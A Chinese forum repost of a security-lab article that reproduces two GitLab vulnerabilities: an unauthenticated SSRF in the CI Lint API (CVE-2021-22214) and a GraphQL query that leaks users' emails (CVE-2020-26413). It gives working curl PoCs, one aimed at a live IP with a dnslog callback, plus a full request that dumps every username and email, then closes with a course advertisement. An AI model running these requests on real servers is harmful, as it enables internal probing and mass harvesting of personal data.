搜索

[27278] 2021-06-22_追洞计划GitlabCILintAPI未授权SSRF漏洞(CVE-2021-22214)

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-19
2021-06-22_追洞计划GitlabCILintAPI未授权SSRF漏洞(CVE-2021-22214) 追 洞 计 划   |   G i t l a b   C I   L i n t   A P I 未 授 权   S S R F 漏 洞 ( C V E - 2 0 2 1 - 2 2 2 1 4 ) 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 6 - 2 2 收 录 于 话 题   # 漏 洞 复 现   , 2 3 个 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   W e b 安 全 知 识 星 球 安 全 知 识 星 球 本 文 作 者 ： T a o i n g （ W e b 安 全 攻 防 合 伙 人 ）   G i t L a b   是 一 个 用 于 仓 库 管 理 系 统 的 开 源 项 目 ， 使 用 G i t 作 为 代 码 管 理 工 具 ， 并 在 此 基 础 上 搭 建 起 来 的 W e b 服 务 。 一 、 漏 洞 描 述   G i t L a b 是 美 国 G i t L a b 公 司 的 一 款 使 用 R u b y   o n   R a i l s 开 发 的 、 自 托 管 的 、 G i t （ 版 本 控 制 系 统 ） 项 目 仓 库 应 用 程 序 。 该 程 序 可 用 于 查 阅 项 目 的 文 件 内 容 、 提 交 历 史 、 B u g 列 表 等 。   C V E - 2 0 2 1 - 2 2 2 1 4   G i t L a b 存 在 前 台 未 授 权 S S R F 漏 洞 ， 未 授 权 的 攻 击 者 也 可 以 利 用 该 漏 洞 执 行 S S R F 攻 击 （ C V E - 2 0 2 1 - 2 2 2 1 4 ） 。 该 漏 洞 源 于 对 用 户 提 供 数 据 的 验 证 不 足 ， 远 程 攻 击 者 可 通 过 发 送 特 殊 构 造 的   H T T P   请 求 ， 欺 骗 应 用 程 序 向 任 意 系 统 发 起 请 求 。 攻 击 者 成 功 利 用 该 漏 洞 可 获 得 敏 感 数 据 的 访 问 权 限 或 向 其 他 服 务 器 发 送 恶 意 请 求 。 二 、 漏 洞 影 响     a p p = " G i t L a b "   影 响 版 本 ： 从   1 0 . 5   开 始 的 所 有 版 本   安 全 版 本 ： 官 方 当 前 最 新 的   1 3 . 1 2 . 2 ,   1 3 . 1 1 . 5   和   1 3 . 1 0 . 5 三 、 P O C ： c u r l   - s   - - s h o w - e r r o r   - H   ' C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n '   h t t p s : / / e x a m p l e . g i t l a b . c o m / a p i / v 4 / c i / l i n t   - - d a t a   ' {   " i n c l u d e _ m e r g e d _ y a m l " :   t r u e ,   " c o n t e n t " :   " i n c l u d e : n     r e m o t e :   h t t p : / / x x . x x x . x x . x x : p o r t / a p i / v 1 / t a r g e t s ? t e s t . y m l " } ' 四 、 漏 洞 复 现 ：
1 、 环 境 搭 建 搭 建 环 境 介 绍 ： 搭 建 环 境 介 绍 ： C e n t O S 7 . 6   1 ) 首 先 按 官 网 提 示 先 安 装 依 赖 ， 然 后 执 行 下 面 命 令 添 加 y u m 源 ， 选 择 g i t l a b - c e 社 区 版 c u r l   - s   h t t p s : / / p a c k a g e s . g i t l a b . c o m / i n s t a l l / r e p o s i t o r i e s / g i t l a b / g i t l a b - c e / s c r i p t . r p m . s h   |   s u d o   b a s h   2 ) 更 新 本 地 y u m 缓 存 s u d o   y u m   m a k e c a c h e   3 ) 获 取 更 新 源 中 可 安 装 所 有 的 g i t l a b 版 本 y u m   l i s t   g i t l a b - c e   - - s h o w d u p l i c a t e s | s o r t   - r   使 用 使 用 y u m 安 装 指 定 版 本 ， 例 如 安 装 指 定 版 本 ， 例 如 1 3 . 1 2 . 1 y u m   i n s t a l l   g i t l a b - c e - 1 3 . 1 2 . 1 - c e . 0 . e l 7   使 用 命 令 即 可 默 认 配 置 安 装 g i t l a b 。 g i t l a b - c t l   r e c o n f i g u r e
  默 认 配 置 安 装 默 认 配 置 安 装 g i t l a b ： 端 口 默 认 ： 端 口 默 认 8 0 g i t l a b - c t l   r e c o n f i g u r e 2 、 漏 洞 复 现   1 ) d n s l o g c u r l   - s   - - s h o w - e r r o r   - H   ' C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n '   h t t p : / / 4 7 . 2 4 3 . 3 7 . 7 1 / a p i / v 4 / c i / l i n t   - - d a t a   ' {   " i n c l u d e _ m e r g e d _ y a m l " :   t r u e ,   " c o n t e n t " :   " i n c l u d e : n     r e m o t e :   h t t p : / / r k v 4 o v . d n s l o g . c n / a p i / v 1 / t a r g e t s / ? t e s t . y m l " } '
G i t L a b _ G r a p h q l 邮 箱 信 息 泄 露 漏 洞 ( C V E - 2 0 2 0 - 2 6 4 1 3 ) 一 、 漏 洞 描 述   G i t L a b 是 美 国 G i t L a b 公 司 的 一 款 使 用 R u b y   o n   R a i l s 开 发 的 、 自 托 管 的 、 G i t （ 版 本 控 制 系 统 ） 项 目 仓 库 应 用 程 序 。 该 程 序 可 用 于 查 阅 项 目 的 文 件 内 容 、 提 交 历 史 、 B u g 列 表 等 。   G i t L a b 中 存 在 G r a p h q l 接 口   输 入 构 造 的 数 据 时 会 泄 露 用 户 邮 箱 和 用 户 名 二 、 影 响 范 围   G i t L a b   1 3 . 4   –   1 3 . 6 . 2   t i t l e = " G i t L a b " 三 、 漏 洞 复 现   访 问   U R L h t t p : / / x x x . x x x . x x x . x x x / - / / g r a p h q l - e x p l o r e r
  G i t l a b 本 身 不 允 许 获 取 账 号 邮 箱 信 息 ， 这 里 通 过 调 用   G r a p h q l   用 户 名 查 询 造 成 了 邮 箱 泄 露 漏 洞 查 看 完 报 告 后 发 现 漏 洞 利 用 需 要 有 账 号 用 户 名 ， 在 不 知 道 的 情 况 下 无 法 获 取 邮 箱 ， 在 G r a p h q l 官 网 查 看 得 知 可 以 通 过 另 一 个 构 造 的 语 句 一 次 性 返 回 所 有 的 用 户 名 和 邮 箱 发 包 调 用 了   / a p i / g r a p h q l   接 口 发 送 数 据 完 整 数 据 包 为 : P O S T   / / a p i / g r a p h q l   H T T P / 1 . 1 H o s t :   1 0 . 1 . 2 . 3 3 : 8 8 8 8 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 1 1   S a f a r i / 5 3 7 . 3 6 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   2 2 0 { " q u e r y " : " { n u s e r s   { n e d g e s   { n   n o d e   { n   u s e r n a m e n   e m a i l n   a v a t a r U r l n   s t a t u s   { n   e m o j i n   m e s s a g e n   m e s s a g e H t m l n   } n   } n   } n   } n   } " , " v a r i a b l e s " : n u l l , " o p e r a t i o n N a m e " : n u l l }
6 1 8 优 惠 活 动 还 没 有 结 束 ！ 优 惠 活 动 还 没 有 结 束 ！ 福 利 一 ： 福 利 一 ： 购 全 部 6 个 星 球 ， 享 6 . 1 8   惊 爆 价 ： 惊 爆 价 ： 1 6 9 9 元 元 （ 原 价 2 4 5 8 元 ） （ 追 加 （ 追 加 1 0 名 ） 名 ） 更 送 3 本 本 作 者 签 名 书 （ 五 选 三 五 选 三 ） 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 （ 8 9 元 ） 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 （ 9 9 元 ） 《 P y t h o n 安 全 攻 防 ： 渗 透 测 试 实 指 南 》 （ 9 9 元 ） 《 K a l i   L i n u x 2   渗 透 实 践 指 南 ( 第 2 版 ) 》 （ 8 9 元 ） 《 J a v a 代 码 审 计 （ 入 门 篇 ） 》                       （ 1 1 8 元 ）          
  注 意 注 意 ： 需 要 购 买 的 同 学 请 添 加 徐 哥 徐 哥 微 信 ！ 福 利 二 ： 福 利 二 ： 本 次 活 动 ， 单 个 星 球 我 们 只 对 外 发 放 单 个 星 球 我 们 只 对 外 发 放 5 0 张 优 惠 券 ， 最 高 立 减 张 优 惠 券 ， 最 高 立 减 9 0 元 元 （ （ 6 . 2 0 号 新 增 号 新 增 3 0 张 张 W e b 星 球 优 惠 券 ） 星 球 优 惠 券 ） 大 部 分 星 球 价 格 3 6 5 元 ， 6 1 8 惊 爆 价 ： 惊 爆 价 ： 2 9 9 元 元        
一 件 衬 衫 的 价 格 ， 让 你 学 会 一 门 渗 透 技 术 ， 超 级 划 算 了 ： 加 入 须 知 ：
加 入 须 知 ： 加 入 星 球 后 ， 下 载 知 识 星 球 A p p ， 微 信 登 陆 即 可 进 入 ； 在 星 球 置 顶 帖 ， 添 加 管 理 员 微 信 ， 邀 请 进 内 部 微 信 群 ； 目 前 有 目 前 有 4 0 0 0 多 位 同 学 在 知 识 星 球 和 我 们 一 起 学 习 进 步 ， 我 们 等 着 你 入 伙 ！ 多 位 同 学 在 知 识 星 球 和 我 们 一 起 学 习 进 步 ， 我 们 等 着 你 入 伙 ！ 想 白 嫖 的 同 学 可 以 看 这 里 哦 ！ 想 白 嫖 的 同 学 可 以 看 这 里 哦 ！ 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     来 和 来 和 4 0 0 0 + 位 同 学 一 起 加 入 星 球 学 习 吧 ！ 位 同 学 一 起 加 入 星 球 学 习 吧 ！

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理